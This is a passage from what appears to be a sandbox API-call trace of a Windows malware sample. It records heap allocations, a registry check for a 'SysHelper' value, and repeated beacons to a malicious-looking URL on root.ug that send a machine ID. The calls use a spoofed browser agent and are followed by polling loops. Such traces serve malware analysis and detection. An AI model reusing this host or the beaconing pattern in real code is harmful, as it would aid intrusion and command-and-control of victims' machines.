Flags=0x0, Size=0x60) returned 0x2ff16b8 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x30b0f68 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x648) returned 0x30b6958 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30dfa38 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e02c0 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e0b48 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e13d0 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e1c58 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30b1780 [0264.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30e24e0 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30e2d68 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30b1fc8 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30b2810 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30e8a70 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30e35f0 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30e3e78 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30e92d8 [0264.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30e9b20 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e4700 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e4f88 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30e5810 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ea380 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30eac08 [0264.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30eb490 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30ebd18 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30ec5a0 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ece28 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ed6b0 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30fa368 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30fabd0 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30edf38 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ee7c0 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30ef048 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30fb438 [0264.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30fbc80 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30ef8d0 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f0158 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f09e0 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f1268 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f1af0 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f2378 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f2c00 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f3488 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f3d10 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30fc4c8 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x30fcd30 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f4598 [0264.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f4e20 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f56a8 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30fd598 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x30f5f30 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f67b8 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f7040 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30f78c8 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f8150 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f89d8 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30f9260 [0264.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30fddf8 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x30fe680 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30fef08 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x310dde0 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x310e648 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x30ff790 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3100018 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31008a0 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3101128 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x31019b0 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3102238 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3102ac0 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3103348 [0264.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc0) returned 0x307f9e0 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3103bd0 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x310eeb0 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x310f6c8 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3104458 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3104ce0 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3105568 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3105df0 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x810) returned 0x3106678 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1650 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3106f00 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3107788 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3108010 [0264.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3108898 [0264.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x7093c8, dwCreationFlags=0x0, lpThreadId=0x6f1510 | out: lpThreadId=0x6f1510*=0x710) returned 0x584 [0264.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0x724) returned 0x588 [0264.372] GetMessageW (lpMsg=0x18eb28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0273.810] NtdllDefWindowProc_W () returned 0x0 Thread: id = 167 os_tid = 0x564 Thread: id = 168 os_tid = 0x58c Thread: id = 169 os_tid = 0x570 Thread: id = 170 os_tid = 0x4d8 Thread: id = 171 os_tid = 0x35c Thread: id = 172 os_tid = 0x34c Thread: id = 173 os_tid = 0x45c Thread: id = 217 os_tid = 0x6c8 [0229.180] timeGetTime () returned 0xfbf9 [0229.180] GetLastError () returned 0x54f [0229.180] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x8, Size=0x3bc) returned 0x307c418 [0229.180] GetCurrentThreadId () returned 0x6c8 [0229.180] SetLastError (dwErrCode=0x54f) [0229.180] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0x989a6e4 | out: phkResult=0x989a6e4*=0x560) returned 0x0 [0229.181] RegQueryValueExW (in: hKey=0x560, lpValueName="SysHelper", lpReserved=0x0, lpType=0x989a6d8, lpData=0x989a6e0, lpcbData=0x989a6dc*=0x4 | out: lpType=0x989a6d8*=0x4, lpData=0x989a6e0*=0x1, lpcbData=0x989a6dc*=0x4) returned 0x0 [0229.181] RegCloseKey (hKey=0x560) returned 0x0 [0229.181] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0229.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x709018 [0229.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x710bf0 [0229.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x307c7e0 [0229.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x710bf0, cbMultiByte=-1, lpWideCharStr=0x307c7e0, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0229.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x307d028 [0229.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307c7e0 | out: hHeap=0x640000) returned 1 [0229.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x710bf0 | out: hHeap=0x640000) returned 1 [0229.181] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e0) returned 0x307d880 [0229.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x709018 | out: hHeap=0x640000) returned 1 [0229.181] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d028 | out: hHeap=0x640000) returned 1 [0229.182] lstrcpyW (in: lpString1=0x989af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0229.182] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0229.562] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x989a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x989a774 | out: lpBuffer=0x989a778*, lpdwNumberOfBytesRead=0x989a774*=0x101) returned 1 [0229.562] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0229.562] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0229.562] timeGetTime () returned 0xfd70 [0229.562] timeGetTime () returned 0xfd70 [0229.562] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0229.562] Sleep (dwMilliseconds=0x64) [0229.661] timeGetTime () returned 0xfddd [0229.661] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0229.662] Sleep (dwMilliseconds=0x64) [0229.771] timeGetTime () returned 0xfe4a [0229.771] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0229.771] Sleep (dwMilliseconds=0x64) [0229.880] timeGetTime () returned 0xfeb7 [0229.880] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0229.880] Sleep (dwMilliseconds=0x64) [0229.993] timeGetTime () returned 0xff25 [0229.993] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0229.993] Sleep (dwMilliseconds=0x64) [0230.098] timeGetTime () returned 0xff92 [0230.098] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0230.098] Sleep (dwMilliseconds=0x64) [0230.207] timeGetTime () returned 0xffff [0230.207] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0230.207] Sleep (dwMilliseconds=0x64) [0230.317] timeGetTime () returned 0x1006c [0230.317] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0230.317] Sleep (dwMilliseconds=0x64) [0230.426] timeGetTime () returned 0x100d9 [0230.426] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0230.426] Sleep (dwMilliseconds=0x64) [0247.251] timeGetTime () returned 0x1425b [0247.251] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d880 | out: hHeap=0x640000) returned 1 [0247.251] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0247.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x709018 [0247.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab258 [0247.251] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x307d820 [0247.252] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30ab258, cbMultiByte=-1, lpWideCharStr=0x307d820, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0247.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x850) returned 0x306fee8 [0247.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x307d820 | out: hHeap=0x640000) returned 1 [0247.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab258 | out: hHeap=0x640000) returned 1 [0247.252] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e0) returned 0x307d820 [0247.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x709018 | out: hHeap=0x640000) returned 1 [0247.252] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x306fee8 | out: hHeap=0x640000) returned 1 [0247.252] lstrcpyW (in: lpString1=0x989af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0247.252] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0248.505] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x989a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x989a774 | out: lpBuffer=0x989a778*, lpdwNumberOfBytesRead=0x989a774*=0x101) returned 1 [0248.505] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0248.506] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0248.506] timeGetTime () returned 0x1474b [0248.506] timeGetTime () returned 0x1474b [0248.506] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0248.506] Sleep (dwMilliseconds=0x64) [0248.615] timeGetTime () returned 0x147b8 [0248.615] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0248.615] Sleep (dwMilliseconds=0x64) [0248.725] timeGetTime () returned 0x14825 [0248.725] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0248.725] Sleep (dwMilliseconds=0x64) [0248.834] timeGetTime () returned 0x14893 [0248.834] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0248.834] Sleep (dwMilliseconds=0x64) [0248.943] timeGetTime () returned 0x14900 [0248.943] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0248.943] Sleep (dwMilliseconds=0x64) [0249.052] timeGetTime () returned 0x1496d [0249.052] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.052] Sleep (dwMilliseconds=0x64) [0249.161] timeGetTime () returned 0x149da [0249.161] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.161] Sleep (dwMilliseconds=0x64) [0249.271] timeGetTime () returned 0x14a47 [0249.271] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.271] Sleep (dwMilliseconds=0x64) [0249.380] timeGetTime () returned 0x14ab5 [0249.380] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.380] Sleep (dwMilliseconds=0x64) [0249.489] timeGetTime () returned 0x14b22 [0249.489] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.489] Sleep (dwMilliseconds=0x64) [0249.599] timeGetTime () returned 0x14b8f [0249.599] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.599] Sleep (dwMilliseconds=0x64) [0249.707] timeGetTime () returned 0x14bfc [0249.707] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.707] Sleep (dwMilliseconds=0x64) [0249.817] timeGetTime () returned 0x14c69 [0249.817] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.817] Sleep (dwMilliseconds=0x64) [0249.926] timeGetTime () returned 0x14cd7 [0249.926] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0249.926] Sleep (dwMilliseconds=0x64) [0250.035] timeGetTime () returned 0x14d44 [0250.035] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.035] Sleep (dwMilliseconds=0x64) [0250.144] timeGetTime () returned 0x14db1 [0250.144] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.144] Sleep (dwMilliseconds=0x64) [0250.253] timeGetTime () returned 0x14e1e [0250.253] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.253] Sleep (dwMilliseconds=0x64) [0250.363] timeGetTime () returned 0x14e8b [0250.363] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.363] Sleep (dwMilliseconds=0x64) [0250.472] timeGetTime () returned 0x14ef9 [0250.472] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.472] Sleep (dwMilliseconds=0x64) [0250.581] timeGetTime () returned 0x14f66 [0250.581] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.581] Sleep (dwMilliseconds=0x64) [0250.690] timeGetTime () returned 0x14fd3 [0250.690] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.690] Sleep (dwMilliseconds=0x64) [0250.799] timeGetTime () returned 0x15040 [0250.800] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.800] Sleep (dwMilliseconds=0x64) [0250.909] timeGetTime () returned 0x150ad [0250.909] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0250.909] Sleep (dwMilliseconds=0x64) [0251.018] timeGetTime () returned 0x1511b [0251.018] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.018] Sleep (dwMilliseconds=0x64) [0251.127] timeGetTime () returned 0x15188 [0251.127] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.127] Sleep (dwMilliseconds=0x64) [0251.236] timeGetTime () returned 0x151f5 [0251.236] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.236] Sleep (dwMilliseconds=0x64) [0251.345] timeGetTime () returned 0x15262 [0251.345] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.345] Sleep (dwMilliseconds=0x64) [0251.462] timeGetTime () returned 0x152cf [0251.462] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.462] Sleep (dwMilliseconds=0x64) [0251.564] timeGetTime () returned 0x1533d [0251.564] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.564] Sleep (dwMilliseconds=0x64) [0251.673] timeGetTime () returned 0x153aa [0251.673] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.673] Sleep (dwMilliseconds=0x64) [0251.782] timeGetTime () returned 0x15417 [0251.782] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.782] Sleep (dwMilliseconds=0x64) [0251.891] timeGetTime () returned 0x15484 [0251.892] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0251.892] Sleep (dwMilliseconds=0x64) [0252.001] timeGetTime () returned 0x154f1 [0252.001] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.001] Sleep (dwMilliseconds=0x64) [0252.110] timeGetTime () returned 0x1555f [0252.110] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.110] Sleep (dwMilliseconds=0x64) [0252.219] timeGetTime () returned 0x155cc [0252.219] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.219] Sleep (dwMilliseconds=0x64) [0252.328] timeGetTime () returned 0x15639 [0252.328] PeekMessageW (in: lpMsg=0x989a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x989a6c8) returned 0 [0252.328] Sleep (dwMilliseconds=0x64) [0252.437] timeGetTime () returned 